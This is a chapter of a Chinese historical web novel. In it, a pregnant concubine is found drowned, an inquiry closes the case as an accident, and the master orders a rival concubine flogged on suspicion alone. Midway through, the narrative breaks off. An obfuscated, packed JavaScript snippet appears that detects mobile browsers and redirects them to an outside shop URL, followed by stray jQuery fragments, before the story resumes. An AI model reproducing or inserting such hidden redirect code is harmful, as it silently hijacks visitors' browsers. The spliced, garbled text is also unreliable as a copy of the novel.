42.疑案
作品:《军师许负》 纪渊听到噩耗,心头一个趔趄。虽说庄品的命不值钱,但是她肚里还有他未出世的孩儿,就这样一尸两命了,让他有些缓不过来。
这时候孙夫人、赵姨娘、月季、冬梅也赶来了。孙夫人惶邃道:“老爷不好了,奴婢们四处都寻不到庄品,这荒山野岭的万一有个闪失怎么得了。”
焦管家恸哭道:“夫人,刚从江里打捞上来一具女尸。”
孙夫人愕然道:“庄品她......”
焦管家含泪点点头。
俄顷,纪渊、孙夫人一行人走出帷幄,芏草席子上躺着一具已经咽气的冰冷尸体。孙夫人受不住打击,两眼一黑昏了过去,丫鬟们连忙将她搀扶到马车上。
仵作验尸后回禀说尸首身上并无击打、淤痕或中毒的迹象,考虑是自戕或是失足落水。
纪渊震怒,随即命令缇骑扣押在场所有人。在真相大白之前,每个人都有嫌疑。直觉告诉他这事不简单,凭庄品的性子,是不可能自寻短见的,也无可能抛下随身侍女,自己跑到后山失足落水。唯一能合理解释这一切的,是一场彻头彻尾的谋杀。但是谁敢在他眼皮子底下谋害纪家子嗣呢?这些年来他锋芒毕露树敌无数,天下想谋害他的人不胜枚举,他一定要将这隐藏在背后的敌人铲除。
他对雷鸣、雷驰道:“交廷尉彻查此事。吾亲自监察。”
......
***
审讯过程并不顺利,种种迹象显示,庄姨娘可能是自寻短见。
月季说祭祀那天天气热,下午祭拜规仪举行完毕之后,庄姨娘回到马车上吃了几颗葡萄后就睡下了,让她们别打搅。因着庄姨娘怀着身子,比较容易累,她也没多想,就与赵姨娘、冬梅去斋宴吃席去了。后来还去看了一会儿戏。等回来时,发现庄姨娘不在车上,她本以为姨娘是去周围转转,但是她们找了半天也找不到,只得去禀报孙夫人。
佐官秉笔问:“庄姨娘近几天有没有受过什么刺激,情绪有没有过变化?”
月季答:“在路上的时候,老爷因为她与莫姨娘吵架,说了姨娘几句,回来姨娘哭了一阵。”
对于一个失宠的姨娘,下人们的殷情程度骤减,除了贴身丫鬟月季和冬梅之外,庄姨娘祭祀完就回马车上,并没有接触其他人。赵姨娘当时和孙夫人在一起。
佐官逐人问之,最后得出的结论是庄姨娘与莫姨娘争风吃醋,被纪渊责骂后,情绪低落,到河边转悠,失足落水或是自戕。
徐廷尉在翻阅案卷时,却发现了新的疑点。据两位妇人说她们在鲤鱼江岸看见莫姨娘神色慌张。她们还跟莫姨娘打招呼,莫姨娘头也不回地下山去了。而据仵作推断庄姨娘死的时辰差不多就是莫姨娘在江边的时候。
于是,徐廷尉再次询问了莫姨娘。莫姨娘与死者的龃龉由来已久,之前死者欺负莫姨娘,害得她小产。在行车路上,死者又对她言语羞辱,莫姨娘有充分动机报复死者。
据莫姨娘交代,在案发的那段时间,她确实在鲤鱼江边。因为有人证,她也无法抵赖。但是她去江边是放船灯,为了她早夭的孩子,并没有看见庄姨娘。
后来徐廷尉又询问了白姨娘,身为莫姨娘的好姐妹,说不定能查到线索。
据白姨娘口述,盂兰盆节那天,白天她们眷属行了一天规仪。日落后,她去找莫姨娘一块去吃饭。莫姨娘说她想去放船灯,让白姨娘先去吃,等她放完船灯就过去。白姨娘说后山那么远,自己可以陪她一起去。莫姨娘说自己想静一静,她自己去就行了。后来白姨娘就和边姆去吃东西了。大约半个时辰后,莫姨娘回来了,她们还去听了会儿戏。
琴儿和边姆的供词与白姨娘差不多。能确定的是案发时,莫姨娘确实去了鲤鱼江,并且是一个人去的。这个举动就十分奇怪,酉时还未到放舟时间,后山偏僻人又少,还不让丫鬟陪着。
虽然莫姨娘十分可疑,但是徐廷尉查了半天,并没有查到直接证据。人证方面,没有人声称看见莫姨娘杀人;物证方面,庄姨娘身上没有显示生前被迫害的伤痕,或是中毒。
正所谓疑罪从无,若仅仅是怀疑莫姨娘,也只能按无罪处理。判案最忌讳,就是有罪推定,先定下此人有罪,再去合理她的行为,是没有几个人经得起推敲的。徐廷尉是个秉公执法的人,对案件也处理的十分公正。况且他也知道莫姨娘是纪渊的红人,没有根据的事可是不敢乱说。
最后徐廷尉在卷宗上写道:庄姨娘心情郁闷,不幸在河边失足落水,又错过救助时间,最后不幸身亡,结案。
纪渊却不满意这份奏疏。公法判不了,他还有家法。既然莫青青有嫌疑,他又怎能坐视不理。有坑害他的子嗣的嫌疑,不管有罪没罪,在他心里已经是死罪了。
宁杀错,不放过,是他的座右铭。他又怎能让莫青青这个嫌疑犯继续住在府上,府中还有他年幼的嫡长子纪宇。
在这点上,孙夫人与纪渊保持了一致意见。她很了解庄品,从小娇宠惯了,养成了庄品飞扬跋扈的性子。虽说她一时失宠,但是等孩子生下来,若是儿子,母凭子贵,还是有可能翻身的。就算老爷不待见她,看孩子的份上,荣华富贵也少不了。说庄品自寻短见,孙夫人是一百个不相信。莫姨娘和庄姨娘屡次争锋相对,两人宿怨颇深。在她心里,莫姨娘有理由,有动机害死庄品。
这天,纪渊与孙夫人在内院前庭唤来了莫姨娘。莫姨娘抬脚跨进门槛,见赵姨娘、白姨娘也坐在一旁。
莫姨娘福身请安。
纪渊坐在几边,道:“四姨娘,是不是你杀了庄品?”
莫姨娘听闻吓得慌忙跪下,摇头不迭道:“冤枉啊老爷!那天我只是去放灯船,并没有看见庄姨娘。”
其实她还是说谎了,因为那天她确实看见了庄姨娘。但是连廷尉都没有查出蛛丝马迹,她知道只要咬死没见过就一定没事。
那天,做完规仪后,她回到马车
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196738|188689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,看到一张字条:“对夫用禁药,若不想被揭发,到后山宴江亭旁,只你一人。”
莫姨娘看到神秘这字条,顿时大惊失色,偷用合欢香着事若是让老爷知道,后果不堪设想。她张皇地收拾好情绪,将纸条撕毁,找了个借口支开白姨娘和琴儿,去了后山。
当时天色已晚,她提着灯笼,在宴江亭旁等了又等,却不见人影。就在她准备回去之际,一阵风吹过,她手中的竹条灯笼左右晃动,照着前面一片江面,若隐若现。她猝然看见江面上漂着一具女尸,那身玫红色服装俨然是庄姨娘。
她怔忡地捂住自己的嘴巴,若是她现在高声疾呼,事后被人倒打一耙说是她害死了庄姨娘,这里又没有别的证人,就算她说自己没杀人,也没人会相信,跳到黄河也洗不清。弄不好自己就被当做杀害庄姨娘的凶手给定罪了,而且这种可能性非常大。庄姨娘已经妊娠六个多月了,就这么不明不白地死了。凭纪渊的性子决不会善罢甘休,极有可能让自己去陪葬。
为今之计只有悄无声息地回去,当做什么事情都没发生。这里四下无人,只要她一口咬定自己没见过庄姨娘,谁也拿不出证据。她便能全身而退。
经过一番深思熟虑之后,莫姨娘佯装无事地下山去了。在路上,遇到了两位去放船灯的妇人,她也无心理采。下山后她第一时间去找了白姨娘,但是这件事,她没有告诉任何人。她深信只要自己守口如瓶,定能平安无事。
纪渊撇嘴道:“可是酉时,你留下丫鬟,只身去了后山。这一个时辰,你干了什么,没有人证。你说你去放船灯,但若说你杀害了庄品似乎也成立。”
显然她高估了纪渊的道德水平。在纪府,他就是家法,他说你有罪就有罪,并不需要证据。
莫姨娘吓得双漆跪地哭道:“老爷,请明鉴啊!若说奴家杀人,单凭奴家一个妇人,如何能掩人耳目,在缇骑眼皮子地下杀人,还把她抬到鲤鱼江。若是奴家杀害了庄姨娘,为何她身上验不出伤。徐廷尉说庄姨娘死于失足落水,老爷为何迁怒于我呢?庄姨娘的死,奴家也十分痛心,老爷已经痛失了一位妾室,难道要将奴家也置于死地才罢休吗?”
她也曾为老爷怀过孩子,为老爷随王伴驾,同床共枕,难道老爷真的要在仅仅是怀疑的前提下,置她于死地吗?
纪渊嗤道:“孙夫人说你有一段时日没有给她请安了。你这样藐视夫人实属大逆不道,今日还是要用家法处置你,去领二十笞杖。”
纪渊当然知道不能用嫌疑定她的罪,免得落人口舌。他便挑了一个借口。这段时间,莫姨娘仗着纪渊的宠爱,便没去给孙夫人请安。虽说当时孙夫人没有责怪她,但也不妨碍人家秋后算账。
莫姨娘声泪俱下,不断哀求道:“老爷饶命啊!”
前些年,有个小厮,黑了纪府的炭火钱,被焦管家查账时发现。后纪渊罚了那小厮十笞杖,人就给活活打死了。这二十笞杖,便是要莫姨娘的命啊。

